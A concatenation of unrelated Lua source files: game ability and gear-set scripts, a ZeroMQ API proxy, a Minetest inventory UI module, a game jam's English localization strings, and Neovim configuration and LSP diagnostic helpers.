ParticleManager:SetParticleControl( fxIndex, 1, target:GetAbsOrigin() )
StartSoundEvent( "Hero_NyxAssassin.Vendetta.Crit", target )
local damageTable = {
victim = target,
attacker = caster,
damage = abilityDamage,
damage_type = abilityDamageType
}
ApplyDamage( damageTable )
keys.caster:RemoveModifierByName( modifierName )
end
end |
-- create a server for a published API
-- the api_description is used to create new methods on the fly
-- that receive data from 0MQ channels, unpack and validate parameters
-- the methods are either published on a channel and to the registry
-- or bound to an existing 0MQ run loop
-- marshalling is transparent to the provider of the API
--
-- copyright 2014 Samuel Baird MIT Licence
local string = require('string')
local table = require('table')
local cmsgpack = require('cmsgpack')
-- core modules
local class = require('core.class')
local array = require('core.array')
-- rascal
require('rascal.base')
local api = require('rascal.proxy.api')
local client = require('rascal.proxy.client')
return class(function (proxy)
function proxy:init(target, api_description, channel, socket_type, publish_service_id)
self.target = target
self.api_description = api_description
self.channel = channel
self.socket_type = socket_type
-- proxy all the methods of the api_description
local api = api(api_description)
if socket_type == zmq.PUB then
-- target is not used
for _, method in ipairs(api.methods) do
self[method.name] = client.create_proxy_method(method.name, socket_type, method)
end
else
for _, method in ipairs(api.methods) do
self[method.name] = proxy.create_proxy_method(method.name, method)
end
end
if channel and socket_type then
self:bind(channel, socket_type)
if socket_type == zmq.SUB then
for _, method in ipairs(api.methods) do
self.socket:subscribe(method.name)
end
end
end
if publish_service_id then
self:publish(publish_service_id)
end
end
function proxy:publish(publish_service_id, publish_socket_type)
local rascal = require('rascal.core')
if not publish_socket_type then
if self.socket_type == zmq.PULL then
publish_socket_type = zmq.PUSH
elseif self.socket_type == zmq.PUB then
publish_socket_type = zmq.SUB
else
publish_socket_type = zmq.REQ
end
end
rascal.registry:publish(publish_service_id, self.channel, publish_socket_type, self.api_description)
end
function proxy:route_request(routing, command, params)
local output = array()
for _, r in ipairs(routing) do
output:push(r)
end
output:push(command)
output:push(cmsgpack.pack(params))
self.socket:send_all(output)
end
function proxy:route_response(routing, response)
local output = array()
for _, r in ipairs(routing) do
output:push(r)
end
output:push(cmsgpack.pack(response))
self.socket:send_all(output)
end
function proxy:bind(channel, socket_type)
-- prep the coms
self.channel = channel
self.socket_type = socket_type
self.socket = ctx:socket(socket_type)
if socket_type == zmq.SUB then
self.socket:connect(channel)
elseif socket_type == zmq.PUB then
self.socket:bind(channel)
return
else
self.socket:bind(channel)
end
-- add to loop
loop:add_socket(self.socket, function (socket)
local input = socket:recv_all()
-- marshall the input
-- any leading values are routing information
local routing = array()
for i = 1, #input - 2 do
routing:push(input[i])
end
-- the last two are considered command + params
local command = input[#input - 1]
local succcess, params = pcall(cmsgpack.unpack, input[#input])
if not succcess then
log('error unpacking parameters in remote call to ' .. command)
end
-- call the function via the proxy
if socket_type == zmq.ROUTER then
-- the incoming routing is stored as a ref on the proxy
-- as this value only has meaning to the router that received it
self.routing = routing
-- routing is passed in as an additional parameter
local success, result = pcall(self[command], self, params)
if not success then
log('proxy router error on ' .. command, result)
end
else
local success, result = pcall(self[command], self, params)
if not success then
log('proxy error on ' .. command, result)
end
-- return the result if required
if socket_type == zmq.REP then
local output = {
cmsgpack.pack({
success = success,
result = result,
})
}
socket:send_all(output)
end
end
end)
end
function proxy.create_proxy_method(name, method)
local method_code = array()
-- add a preamble where self and the parameters are the input
local arg_names = array()
arg_names:push('self')
arg_names:push('input')
method_code:push('local ' .. table.concat(arg_names, ', ') .. ' = ...')
-- make locals for all of the required fields
arg_names = array()
for _, parameter in ipairs(method.parameters) do
arg_names:push(parameter.name)
method_code:push('local ' .. parameter.name .. ' = ' .. 'input.' .. parameter.name)
-- TODO: add api_description code to verify each parameter
method_code:push('-- TODO: verify ' .. parameter.name)
end
-- call the method on the proxy target with the appropriate parameters
method_code:push('return self.target:' .. name.. '(' .. table.concat(arg_names, ', ') .. ')')
local code = table.concat(method_code, '\n')
local proxy_method, compile_error = loadstring(code)
if not proxy_method then
error('error creating proxy ' .. compile_error .. '\n' .. code)
end
return proxy_method
end
end)
|
local S = unified_inventory.gettext
-- This pair of encoding functions is used where variable text must go in
-- button names, where the text might contain formspec metacharacters.
-- We can escape button names for the formspec, to avoid screwing up
-- form structure overall, but they then don't get de-escaped, and so
-- the input we get back from the button contains the formspec escaping.
-- This is a game engine bug, and in the anticipation that it might be
-- fixed some day we don't want to rely on it. So for safety we apply
-- an encoding that avoids all formspec metacharacters.
function unified_inventory.mangle_for_formspec(str)
return string.gsub(str, "([^A-Za-z0-9])", function (c) return string.format("_%d_", string.byte(c)) end)
end
function unified_inventory.demangle_for_formspec(str)
return string.gsub(str, "_([0-9]+)_", function (v) return string.char(v) end)
end
function unified_inventory.get_per_player_formspec(player_name)
local lite = unified_inventory.lite_mode and not minetest.check_player_privs(player_name, {ui_full=true})
local ui = {}
ui.pagecols = unified_inventory.pagecols
ui.pagerows = unified_inventory.pagerows
ui.page_y = unified_inventory.page_y
ui.formspec_y = unified_inventory.formspec_y
ui.main_button_x = unified_inventory.main_button_x
ui.main_button_y = unified_inventory.main_button_y
ui.craft_result_x = unified_inventory.craft_result_x
ui.craft_result_y = unified_inventory.craft_result_y
ui.form_header_y = unified_inventory.form_header_y
if lite then
ui.pagecols = 4
ui.pagerows = 6
ui.page_y = 0.25
ui.formspec_y = 0.47
ui.main_button_x = 8.2
ui.main_button_y = 6.5
ui.craft_result_x = 2.8
ui.craft_result_y = 3.4
ui.form_header_y = -0.1
end
ui.items_per_page = ui.pagecols * ui.pagerows
return ui, lite
end
function unified_inventory.get_formspec(player, page)
if not player then
return ""
end
local player_name = player:get_player_name()
local ui_peruser,draw_lite_mode = unified_inventory.get_per_player_formspec(player_name)
unified_inventory.current_page[player_name] = page
local pagedef = unified_inventory.pages[page]
local formspec = {
"size[14,10]",
"background[-0.19,-0.25;14.4,10.75;ui_form_bg.png]" -- Background
}
local n = 3
if draw_lite_mode then
formspec[1] = "size[11,7.7]"
formspec[2] = "background[-0.19,-0.2;11.4,8.4;ui_form_bg.png]"
end
if unified_inventory.is_creative(player_name)
and page == "craft" then
formspec[n] = "background[0,"..(ui_peruser.formspec_y + 2)..";1,1;ui_single_slot.png]"
n = n+1
end
-- Current page
if not unified_inventory.pages[page] then
return "" -- Invalid page name
end
local perplayer_formspec = unified_inventory.get_per_player_formspec(player_name)
local fsdata = pagedef.get_formspec(player, perplayer_formspec)
formspec[n] = fsdata.formspec
n = n+1
local button_row = 0
local button_col = 0
-- Main buttons
local filtered_inv_buttons = {}
for i, def in pairs(unified_inventory.buttons) do
if not (draw_lite_mode and def.hide_lite)
and (not def.show_with or minetest.check_player_privs(player_name, {[def.show_with] = true})) then
table.insert(filtered_inv_buttons, def)
end
end
for i, def in pairs(filtered_inv_buttons) do
if draw_lite_mode and i > 4 then
button_row = 1
button_col = 1
end
if def.type == "image" then
formspec[n] = "image_button["
formspec[n+1] = ( ui_peruser.main_button_x + 0.65 * (i - 1) - button_col * 0.65 * 4)
formspec[n+2] = ","..(ui_peruser.main_button_y + button_row * 0.7)..";0.8,0.8;"
formspec[n+3] = minetest.formspec_escape(def.image)..";"
formspec[n+4] = minetest.formspec_escape(def.name)..";]"
formspec[n+5] = "tooltip["..minetest.formspec_escape(def.name)
formspec[n+6] = ";"..(def.tooltip or "").."]"
n = n+7
end
end
if fsdata.draw_inventory ~= false then
-- Player inventory
formspec[n] = "listcolors[#00000000;#00000000]"
formspec[n+1] = "list[current_player;main;0,"..(ui_peruser.formspec_y + 3.5)..";8,4;]"
n = n+2
end
if fsdata.draw_item_list == false then
return table.concat(formspec, "")
end
-- Controls to flip items pages
local start_x = 9.2
if not draw_lite_mode then
formspec[n] =
"image_button[" .. (start_x + 0.6 * 0)
.. ",9;.8,.8;ui_skip_backward_icon.png;start_list;]"
.. "tooltip[start_list;" .. minetest.formspec_escape(S("First page")) .. "]"
.. "image_button[" .. (start_x + 0.6 * 1)
.. ",9;.8,.8;ui_doubleleft_icon.png;rewind3;]"
.. "tooltip[rewind3;" .. minetest.formspec_escape(S("Back three pages")) .. "]"
.. "image_button[" .. (start_x + 0.6 * 2)
.. ",9;.8,.8;ui_left_icon.png;rewind1;]"
.. "tooltip[rewind1;" .. minetest.formspec_escape(S("Back one page")) .. "]"
.. "image_button[" .. (start_x + 0.6 * 3)
.. ",9;.8,.8;ui_right_icon.png;forward1;]"
.. "tooltip[forward1;" .. minetest.formspec_escape(S("Forward one page")) .. "]"
.. "image_button[" .. (start_x + 0.6 * 4)
.. ",9;.8,.8;ui_doubleright_icon.png;forward3;]"
.. "tooltip[forward3;" .. minetest.formspec_escape(S("Forward three pages")) .. "]"
.. "image_button[" .. (start_x + 0.6 * 5)
.. ",9;.8,.8;ui_skip_forward_icon.png;end_list;]"
.. "tooltip[end_list;" .. minetest.formspec_escape(S("Last page")) .. "]"
else
formspec[n] =
"image_button[" .. (8.2 + 0.65 * 0)
.. ",5.8;.8,.8;ui_skip_backward_icon.png;start_list;]"
.. "tooltip[start_list;" .. minetest.formspec_escape(S("First page")) .. "]"
.. "image_button[" .. (8.2 + 0.65 * 1)
.. ",5.8;.8,.8;ui_left_icon.png;rewind1;]"
.. "tooltip[rewind1;" .. minetest.formspec_escape(S("Back one page")) .. "]"
.. "image_button[" .. (8.2 + 0.65 * 2)
.. ",5.8;.8,.8;ui_right_icon.png;forward1;]"
.. "tooltip[forward1;" .. minetest.formspec_escape(S("Forward one page")) .. "]"
.. "image_button[" .. (8.2 + 0.65 * 3)
.. ",5.8;.8,.8;ui_skip_forward_icon.png;end_list;]"
.. "tooltip[end_list;" .. minetest.formspec_escape(S("Last page")) .. "]"
end
n = n+1
-- Search box
formspec[n] = "field_close_on_enter[searchbox;false]"
n = n+1
if not draw_lite_mode then
formspec[n] = "field[9.5,8.325;3,1;searchbox;;"
.. minetest.formspec_escape(unified_inventory.current_searchbox[player_name]) .. "]"
formspec[n+1] = "image_button[12.2,8.1;.8,.8;ui_search_icon.png;searchbutton;]"
.. "tooltip[searchbutton;" ..S("Search") .. "]"
else
formspec[n] = "field[8.5,5.225;2.2,1;searchbox;;"
.. minetest.formspec_escape(unified_inventory.current_searchbox[player_name]) .. "]"
formspec[n+1] = "image_button[10.3,5;.8,.8;ui_search_icon.png;searchbutton;]"
.. "tooltip[searchbutton;" ..S("Search") .. "]"
end
n = n+2
local no_matches = "No matching items"
if draw_lite_mode then
no_matches = "No matches."
end
-- Items list
if #unified_inventory.filtered_items_list[player_name] == 0 then
formspec[n] = "label[8.2,"..ui_peruser.form_header_y..";" .. S(no_matches) .. "]"
else
local dir = unified_inventory.active_search_direction[player_name]
local list_index = unified_inventory.current_index[player_name]
local page = math.floor(list_index / (ui_peruser.items_per_page) + 1)
local pagemax = math.floor(
(#unified_inventory.filtered_items_list[player_name] - 1)
/ (ui_peruser.items_per_page) + 1)
local item = {}
for y = 0, ui_peruser.pagerows - 1 do
for x = 0, ui_peruser.pagecols - 1 do
local name = unified_inventory.filtered_items_list[player_name][list_index]
if minetest.registered_items[name] then
formspec[n] = "item_image_button["
..(8.2 + x * 0.7)..","
..(ui_peruser.formspec_y + ui_peruser.page_y + y * 0.7)..";.81,.81;"
..name..";item_button_"..dir.."_"
..unified_inventory.mangle_for_formspec(name)..";]"
n = n+1
list_index = list_index + 1
end
end
end
formspec[n] = "label[8.2,"..ui_peruser.form_header_y..";"..S("Page") .. ": "
.. S("%s of %s"):format(page,pagemax).."]"
end
n= n+1
if unified_inventory.activefilter[player_name] ~= "" then
formspec[n] = "label[8.2,"..(ui_peruser.form_header_y + 0.4)..";" .. S("Filter") .. ":]"
formspec[n+1] = "label[9.1,"..(ui_peruser.form_header_y + 0.4)..";"..minetest.formspec_escape(unified_inventory.activefilter[player_name]).."]"
end
return table.concat(formspec, "")
end
function unified_inventory.set_inventory_formspec(player, page)
if player then
player:set_inventory_formspec(unified_inventory.get_formspec(player, page))
end
end
--apply filter to the inventory list (create filtered copy of full one)
function unified_inventory.apply_filter(player, filter, search_dir)
if not player then
return false
end
local player_name = player:get_player_name()
local lfilter = string.lower(filter)
local ffilter
if lfilter:sub(1, 6) == "group:" then
local groups = lfilter:sub(7):split(",")
ffilter = function(name, def)
for _, group in ipairs(groups) do
if not def.groups[group]
or def.groups[group] <= 0 then
return false
end
end
return true
end
else
ffilter = function(name, def)
local lname = string.lower(name)
local ldesc = string.lower(def.description)
return string.find(lname, lfilter, 1, true) or string.find(ldesc, lfilter, 1, true)
end
end
unified_inventory.filtered_items_list[player_name]={}
for name, def in pairs(minetest.registered_items) do
if (not def.groups.not_in_creative_inventory
or def.groups.not_in_creative_inventory == 0)
and def.description
and def.description ~= ""
and ffilter(name, def)
and (unified_inventory.is_creative(player_name)
or unified_inventory.crafts_for.recipe[def.name]) then
table.insert(unified_inventory.filtered_items_list[player_name], name)
end
end
table.sort(unified_inventory.filtered_items_list[player_name])
unified_inventory.filtered_items_list_size[player_name] = #unified_inventory.filtered_items_list[player_name]
unified_inventory.current_index[player_name] = 1
unified_inventory.activefilter[player_name] = filter
unified_inventory.active_search_direction[player_name] = search_dir
unified_inventory.set_inventory_formspec(player,
unified_inventory.current_page[player_name])
end
function unified_inventory.items_in_group(groups)
local items = {}
for name, item in pairs(minetest.registered_items) do
for _, group in pairs(groups:split(',')) do
if item.groups[group] then
table.insert(items, name)
end
end
end
return items
end
function unified_inventory.sort_inventory(inv)
local inlist = inv:get_list("main")
local typecnt = {}
local typekeys = {}
for _, st in ipairs(inlist) do
if not st:is_empty() then
local n = st:get_name()
local w = st:get_wear()
local m = st:get_metadata()
local k = string.format("%s %05d %s", n, w, m)
if not typecnt[k] then
typecnt[k] = {
name = n,
wear = w,
metadata = m,
stack_max = st:get_stack_max(),
count = 0,
}
table.insert(typekeys, k)
end
typecnt[k].count = typecnt[k].count + st:get_count()
end
end
table.sort(typekeys)
local outlist = {}
for _, k in ipairs(typekeys) do
local tc = typecnt[k]
while tc.count > 0 do
local c = math.min(tc.count, tc.stack_max)
table.insert(outlist, ItemStack({
name = tc.name,
wear = tc.wear,
metadata = tc.metadata,
count = c,
}))
tc.count = tc.count - c
end
end
if #outlist > #inlist then return end
while #outlist < #inlist do
table.insert(outlist, ItemStack(nil))
end
inv:set_list("main", outlist)
end
|
return Component.create("SpawnMe", {"size", "position", "motion", "damping", "impulse"})
|
-- Define sets and vars used by this job file.
function init_gear_sets()
gear.melee = {}
gear.melee.back = { name="Ankou's Mantle", augments={'STR+20','Accuracy+20 Attack+20','STR+10','"Dbl.Atk."+10','Damage taken-5%',}}
gear.melee.feet = { name="Argosy Sollerets +1", augments={'HP+65','"Dbl.Atk."+3','"Store TP"+5',}}
gear.acc = {}
gear.acc.head = { name="Valorous Mask", augments={'Accuracy+25 Attack+25','STR+10','Accuracy+15','Attack+6',}}
gear.wsdmg = {}
gear.wsdmg.head = { name="Valorous Mask", augments={'Weapon skill damage +4%','STR+4','Accuracy+12','Attack+15',}}
gear.wsdmg.back = { name="Ankou's Mantle", augments={'STR+20','Accuracy+20 Attack+20','STR+10','Weapon skill damage +10%',}}
gear.wsdmg.feet = { name="Argosy Sollerets +1", augments={'STR+12','DEX+12','Attack+20',}}
sets.HP = {head="Loess Barbuta +1",neck="Lavalier +1",ear1="Etiolation Earring",ear2="Cryptic Earring",
body="Ignominy Cuirass +3",hands="Ignominy Gauntlets +2",ring1="Moonbeam Ring",ring2="Regal Ring",
back="Moonbeam Cape",waist="Eschan Stone",legs="Flamma Dirs +2",feet="Ratri Sollerets"}
sets.precast.FC = {head="Carmine Mask +1",neck="Orunmila's Torque",ear1="Loquacious Earring",ear2="Etiolation Earring",
body="Odyssean Chestplate",hands="Leyline Gloves",ring1="Kishar Ring",ring2="Veneficium Ring",
waist="Ioskeha Belt",legs="Eschite Cuisses",feet="Odyssean Greaves"}
sets.precast.FC.Utsusemi = set_combine(sets.precast.FC, {})
sets.precast.JA['Dark Seal'] = {head="Fallen's Burgeonet +1"}
sets.precast.JA['Blood Weapon'] = {body="Fallen's Cuirass +1"}
sets.precast.JA['Diabolic Eye'] = {body="Fallen's Finger Gauntlets +1"}
sets.precast.JA['Arcane Circle'] = {feet="Ignominy Sollerets +2"}
sets.Twilight = {head="Twilight Helm",body="Twilight Mail"}
-- Weaponskill sets
-- Default set for any weaponskill that isn't any more specifically defined
sets.Lugra = {ear1="Lugra Earring +1"}
sets.precast.WS = {ammo="Seething Bomblet +1",
head="Argosy Celata +1",neck="Fotia Gorget",ear1="Telos Earring",ear2="Moonshade Earring",
body="Dagon Breastplate",hands="Argosy Mufflers +1",ring1="Niqmaddu Ring",ring2="Regal Ring",
back=gear.melee.back,waist="Fotia Belt",legs="Ignominy Flanchard +3",feet=gear.wsdmg.feet}
sets.precast.WS.Acc = set_combine(sets.precast.WS, {
ear1="Telos Earring",ear2="Dignitary's Earring",
ring1="Niqmaddu Ring",ring2="Regal Ring",
legs="Valorous Hose"})
-- Specific weaponskill sets. Uses the base set if an appropriate WSMod version isn't found.
sets.precast.WS['Entropy'] = set_combine(sets.precast.WS, {
head="Ignominy Burgonet +3",hands="Ignominy Gauntlets +2",feet="Sulevia's Leggings +2"})
sets.precast.WS['Entropy'].Acc = sets.precast.WS.Acc
sets.precast.WS['Resolution'] = set_combine(sets.precast.WS)
sets.precast.WS['Resolution'].Acc = sets.precast.WS.Acc
sets.precast.WS['Torcleaver'] = set_combine(sets.precast.WS, {ammo="Knobkierrie",
head=gear.wsdmg.head,body="Ignominy Cuirass +3",hands="Valorous Mitts",back=gear.wsdmg.back,legs="Ignominy Flanchard +3",feet="Sulevia's Leggings +2"
})
sets.precast.WS['Torcleaver'].Acc = sets.precast.WS.Acc
sets.precast.WS['Scourge'] = sets.precast.WS['Torcleaver']
sets.precast.WS['Scourge'].Acc = sets.precast.WS['Torcleaver'].Acc
sets.precast.WS['Cross Reaper'] = sets.precast.WS['Torcleaver']
sets.precast.WS['Cross Reaper'].Acc = sets.precast.WS['Torcleaver'].Acc
sets.precast.WS['Quietus'] = sets.precast.WS['Torcleaver']
sets.precast.WS['Quietus'].Acc = sets.precast.WS['Torcleaver'].Acc
-- Midcast Sets
sets.midcast.FastRecast = {
head="Carmine Mask +1",ear2="Loquacious Earring",
ring1="Kishar Ring",
feet="Founder's Greaves"}
sets.midcast['Dark Magic'] = {head="Flamma Zucchetto +2",neck="Erra Pendant",ear1="Gwati Earring",ear2="Dignitary's Earring",
body="Carmine Scale Mail",hands="Fallen's Finger Gauntlets +1",ring1="Evanescence Ring",ring2="Archon Ring",
back="Niht Mantle",waist="Eschan Stone",legs="Eschite Cuisses",feet="Ratri Sollerets"
}
sets.midcast.Drain = set_combine(sets.midcast['Dark Magic'], {head="Fallen's Burgeonet +1",legs="Heathen's Flanchard +1"})
sets.midcast.Aspir = sets.midcast['Dark Magic']
sets.midcast.Absorb = set_combine(sets.midcast['Dark Magic'], {head="Ignominy Burgonet +3",back="Ankou's Mantle"})
sets.midcast.Stun = set_combine(sets.midcast['Dark Magic'], {
head="Flamma Zucchetto +2",hands="Flamma Manopolas +2",ring2="Stikini Ring",feet="Flamma Gambieras +2"
})
sets.midcast['Elemental Magic'] = {
head="Jumalik Helm",neck="Sanctity Necklace",ear1="Friomisi Earring",ear2="Crematio Earring",
body="Carmine Scale Mail",hands="Leyline Gloves",ring1="Shiva Ring +1",ring2="Acumen Ring",
back="Toro Cape",waist="Eschan Stone",legs="Eschite Cuisses",feet="Odyssean Greaves"
}
sets.midcast['Dread Spikes'] = sets.HP
-- any ninjutsu cast on self
sets.midcast.SelfNinjutsu = sets.midcast.FastRecast
-- any ninjutsu cast on enemies
sets.midcast.Ninjutsu = {}
--sets.midcast.Ninjutsu.Resistant = {}
-- Sets to return to when not performing an action.
-- Resting sets
sets.resting = {}
-- Idle sets (default idle set not needed since the other three are defined, but leaving for testing purposes)
sets.idle = {ammo="Ginsen",neck="Bathy Choker +1",ear1="Telos Earring",ear2="Infused Earring",
body="Lugra Cloak +1",hands="Sulevia's Gauntlets +2",ring1="Sheltered Ring",ring2="Defending Ring",
back="Moonbeam Cape",waist="Flume Belt",legs="Carmine Cuisses +1",feet="Sulevia's Leggings +2"}
sets.idle.Town = set_combine(sets.idle, {})
sets.idle.Twilight = set_combine(sets.idle.Town, sets.Twilight)
sets.idle.Weak = set_combine(sets.idle.Town, sets.Twilight)
-- Defense sets
sets.defense.PDT = {ammo="Staunch Tathlum",
head="Loess Barbuta +1",neck="Loricate Torque +1",
body="Jumalik Mail",hands="Sulevia's Gauntlets +2",ring2="Defending Ring",
back="Moonbeam Cape",feet="Sulevia's Leggings +2"}
sets.defense.Twilight = set_combine(sets.defense.PDT, sets.Twilight)
sets.defense.MDT = set_combine(sets.defense.PDT, {})
sets.Kiting = {legs="Carmine Cuisses +1"}
-- Engaged sets
-- Variations for TP weapon and (optional) offense/defense modes. Code will fall back on previous
-- sets if more refined versions aren't defined.
-- If you create a set with both offense and defense modes, the offense mode should be first.
-- EG: sets.engaged.Dagger.Accuracy.Evasion
-- Normal melee group
sets.engaged = {ammo="Ginsen",
head="Flamma Zucchetto +2",neck="Abyssal Beads +1",ear1="Telos Earring",ear2="Cessance Earring",
body="Dagon Breastplate",hands="Argosy Mufflers +1",ring1="Niqmaddu Ring",ring2="Petrov Ring",
back=gear.melee.back,waist="Ioskeha Belt",legs="Argosy Breeches +1",feet=gear.melee.feet}
sets.engaged.Ragnarok = set_combine(sets.engaged, {legs="Argosy Breeches +1"})
sets.engaged.Acc = set_combine(sets.engaged, {
head="Carmine Mask +1",neck="Combatant's Torque",ear1="Telos Earring",ear2="Dignitary's Earring",
body="Ignominy Cuirass +3",hands="Ignominy Gauntlets +2",ring2="Regal Ring",
waist="Olseni Belt",legs="Carmine Cuisses +1"})
sets.engaged.Twilight = set_combine(sets.engaged, sets.Twilight)
sets.engaged.Acc.Twilight = set_combine(sets.engaged.Acc, sets.Twilight)
sets.engaged.PDT = set_combine(sets.engaged, sets.defense.PDT)
sets.engaged.Acc.PDT = set_combine(sets.engaged.Acc, sets.defense.PDT)
end
|
-----------------------------------------
-- Sleepga
-----------------------------------------
require("scripts/globals/monstertpmoves")
require("scripts/globals/status")
require("scripts/globals/magic")
require("scripts/globals/msg")
-----------------------------------------
function onAbilityCheck(player, target, ability)
return 0, 0
end
function onPetAbility(target, pet, skill)
local duration = 60
local resm = applyPlayerResistance(pet, -1, target, pet:getStat(tpz.mod.INT)-target:getStat(tpz.mod.INT), tpz.skill.ELEMENTAL_MAGIC, 5)
if (resm < 0.5) then
skill:setMsg(tpz.msg.basic.JA_MISS_2) -- resist message
return tpz.effect.SLEEP_I
end
duration = duration * resm
if (target:hasImmunity(1) or hasSleepEffects(target)) then
--No effect
skill:setMsg(tpz.msg.basic.SKILL_NO_EFFECT)
else
skill:setMsg(tpz.msg.basic.SKILL_ENFEEB)
target:addStatusEffect(tpz.effect.SLEEP_I, 1, 0, duration)
end
return tpz.effect.SLEEP_I
end
|
-- Automatic generation from -->>
-- excel file name: A_array表示例--cfg_array
-- excel sheet name: +example3
local cfg_array_example3 =
{
-- 演示
level = '啦啦啦!!!'
}
return cfg_array_example3 |
DATA_PATH = vim.fn.stdpath("data")
CACHE_PATH = vim.fn.stdpath("cache")
HOME_PATH = "/home/" .. vim.fn.expand("$USER")
|
return {
locale = "en",
name = "English",
audio_dir = "assets/audio/en",
quotes = { "\"", "\"" },
strings = {
-- Main Menu
["new-game"] = { text = "New Game" },
["new-game-plus"] = { text = "New Game +" },
["load-game"] = { text = "Load Game" },
["play-online"] = { text = "Play Online" },
["credits"] = { text = "Credits" },
["options"] = { text = "Options" },
["exit"] = { text = "Exit" },
-- Options Menu
["graphics"] = { text = "Graphics" },
["audio"] = { text = "Audio" },
["language"] = { text = "Language" },
["controls"] = { text = "Controls" },
["reset-default"] = { text = "Reset to Default" },
["return-menu"] = { text = "Return to Main Menu" },
["back"] = { text = "Back" },
-- Graphics Settings
["toggle-fullscreen"] = { text = "Toggle Fullscreen" },
-- Audio Settings
["master-volume"] = { text = "Master Volume" },
["bgm-volume"] = { text = "BGM Volume" },
["sfx-volume"] = { text = "SFX Volume" },
-- Language Settings
["toggle-language"] = { text = "Toggle Language" },
-- SCENES
["1_01"] = { text = "Hero: This is it." },
["1_02"] = { text = "Hero: The moment I’ve been waiting for all this time." },
["1_03"] = { text = "Hero: The moment of truth…" },
["1_04"] = { text = "Hero: One last room…" },
["1_05"] = { text = "Hero: Just… one… room… left…" },
["1_06"] = { text = "Hero: THE FINAL BOSS." },
["1_07"] = { text = "Use the MOUSE or RIGHT STICK on your controller to move the camera.\nUse WASD or the LEFT STICK to move your character.\nUse Z or the A BUTTON to attack.\nUse X or the B BUTTON to dodge.\nThe use key is MIDDLE MOUSE or Y BUTTON.\nTo cycle items use your MOUSE WHEEL or the LEFT & RIGHT SHOULDER BUTTONS.\nUse P or START to pause." },
["2_01"] = { text = "Boss: Silly mortal…" },
["2_02"] = { text = "Boss: You cannot defeat me!" },
["2_03"] = { text = "Boss: I am the FINAL BOSS!" },
["2_04"] = { text = "Hero: Not if I have something…" },
["2_05"] = { text = "Hero: TO DO WITH IT" },
["3_01"] = { text = "Boss: Why, Hero? Why, why, why? Why do you do it?" },
["3_02"] = { text = "Boss: Do you believe you're fighting for something? For more than your survival?" },
["3_03"] = { text = "Boss: Can you tell me what it is? Do you even know?" },
["3_04"] = { text = "Boss: Is it freedom? Or truth? Perhaps peace? Could it be for love?" },
["3_05"] = { text = "Boss: You can't win. It's pointless to keep fighting. Why?" },
["3_06"] = { text = "Boss: Why do you persist?" },
["3_07"] = { text = "Hero: Because I choose to." },
["4_01"] = { text = "Boss: Before I kill you, I must know…" },
["4_02"] = { text = "Boss: Why are you so filled with anger?" },
["4_03"] = { text = "Hero: You… don’t remember do you? No…" },
["4_04"] = { text = "Hero: After my amnesia cleared up, you got my amnesia." },
["4_05"] = { text = "Hero: You destroyed my village!" },
["4_06"] = { text = "Hero: You slaughtered my family!" },
["4_07"] = { text = "Hero: YOU HACKED MY MMO ACCOUNT!" },
["5_01"] = { text = "Boss: Her power level…" },
["5_02"] = { text = "Boss: It’s over…" },
["5_03"] = { text = "Boss: It’s over 9000!" },
["5_04"] = { text = "Hero: What, 9000? There’s no way that can be right!" },
["6_01"] = { text = "And our hero finally defeats the final room. Can our hero turn off the game, and walk away? What will our hero do next?" },
["6_02"] = { text = "No one knows…" },
["6_03"] = { text = "Perhaps no one cares… unless they tweet about it on twitter. That sounds like the right thing to do." },
["6_04"] = { text = "I mean, twitter can be pretty engaging, right?" },
["6_05"] = { text = "Take a screenshot, and tweet that." },
["6_06"] = { text = "Go ahead, this is a pretty epic moment, if you ask me." },
["6_07"] = { text = "Maybe give it a funny caption, like “What did I just play?” Maybe even some fun hashtags. I hear #LDJAM is a pretty good one. Maybe tweet at @josefnpat, @shakesoda, @landonmanning or @bytedesigning?" },
["6_08"] = { text = "…" },
["6_09"] = { text = "You’re not going to do it, are you?" },
["6_10"] = { text = "…" },
["6_11"] = { text = "…" },
["6_12"] = { text = "Oh well, you can’t say we didn’t try, eh?" },
["6_13"] = { text = "Oh, you’re still here?" },
["6_14"] = { text = "Don’t you get it? You won the game." },
-- Don't ask why there isn't a 6_15 ... @josefnpat
["6_16"] = { text = "What, you want more?" },
["6_17"] = { text = "…" },
["6_18"] = { text = "Ok, uhhh…" },
["6_19"] = { text = "I know! Play the game again, but this time, only use one hand!" },
["6_20"] = { text = "You’ll totally get an achievement for it, I swear!" },
["7_01"] = { text = "[Tentacle Sounds]" },
["7_02"] = { text = "[Sounds of Pain]" },
["7_03"] = { text = "Hero: No! I can't be a bride anymore!" },
["7_04"] = { text = "[Sobbing]" },
["7_05"] = { text = "Our hero meets a grim and tragic fate." },
["7_06"] = { text = "[Evil laughter]" },
["8_01"] = { text = "Has Anyone Really Been Far Even as Decided to Use Even Go Want to do Look More Like?" },
["8_02"] = { text = "Yes." },
["9_01"] = { text = "Yes." },
}
}
|
--- Primarily patches to <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua>
--- and <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/lsp/diagnostic.lua>.
---
--- TODO: Contribute these to the upstream! This is of utmost importance.
local M = require('dotfiles.autoload')('dotfiles.lsp.diagnostics')
local vim_diagnostic = require('vim.diagnostic')
local Severity = vim_diagnostic.severity
local utils = require('dotfiles.utils')
local lsp = require('vim.lsp')
local utils_vim = require('dotfiles.utils.vim')
local lsp_global_settings = require('dotfiles.lsp.global_settings')
M.ALL_SEVERITIES = { Severity.ERROR, Severity.WARN, Severity.INFO, Severity.HINT }
M.SEVERITY_NAMES = {
[Severity.ERROR] = 'error',
[Severity.WARN] = 'warning',
[Severity.INFO] = 'info',
[Severity.HINT] = 'hint',
}
-- Copied from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L191-L207>.
local function make_highlight_map(base_name)
local result = {}
for _, severity in ipairs(M.ALL_SEVERITIES) do
local name = Severity[severity]
result[severity] = 'Diagnostic' .. base_name .. name:sub(1, 1) .. name:sub(2):lower()
end
return result
end
M.virtual_text_highlight_map = make_highlight_map('VirtualText')
M.underline_highlight_map = make_highlight_map('Underline')
M.floating_highlight_map = make_highlight_map('Floating')
M.sign_highlight_map = make_highlight_map('Sign')
M.underline_tag_highlight_map = {}
for name, tag in pairs(lsp.protocol.DiagnosticTag) do
if type(name) == 'string' then
M.underline_tag_highlight_map[tag] = 'DiagnosticUnderline' .. name
end
end
--- Stolen from <https://github.com/neovim/neovim/blob/v0.6.0/runtime/lua/vim/diagnostic.lua#L68-L74>.
function M.to_severity(severity)
if type(severity) == 'string' then
return assert(
M.severity[string.upper(severity)],
string.format('Invalid severity: %s', severity)
)
end
return severity
end
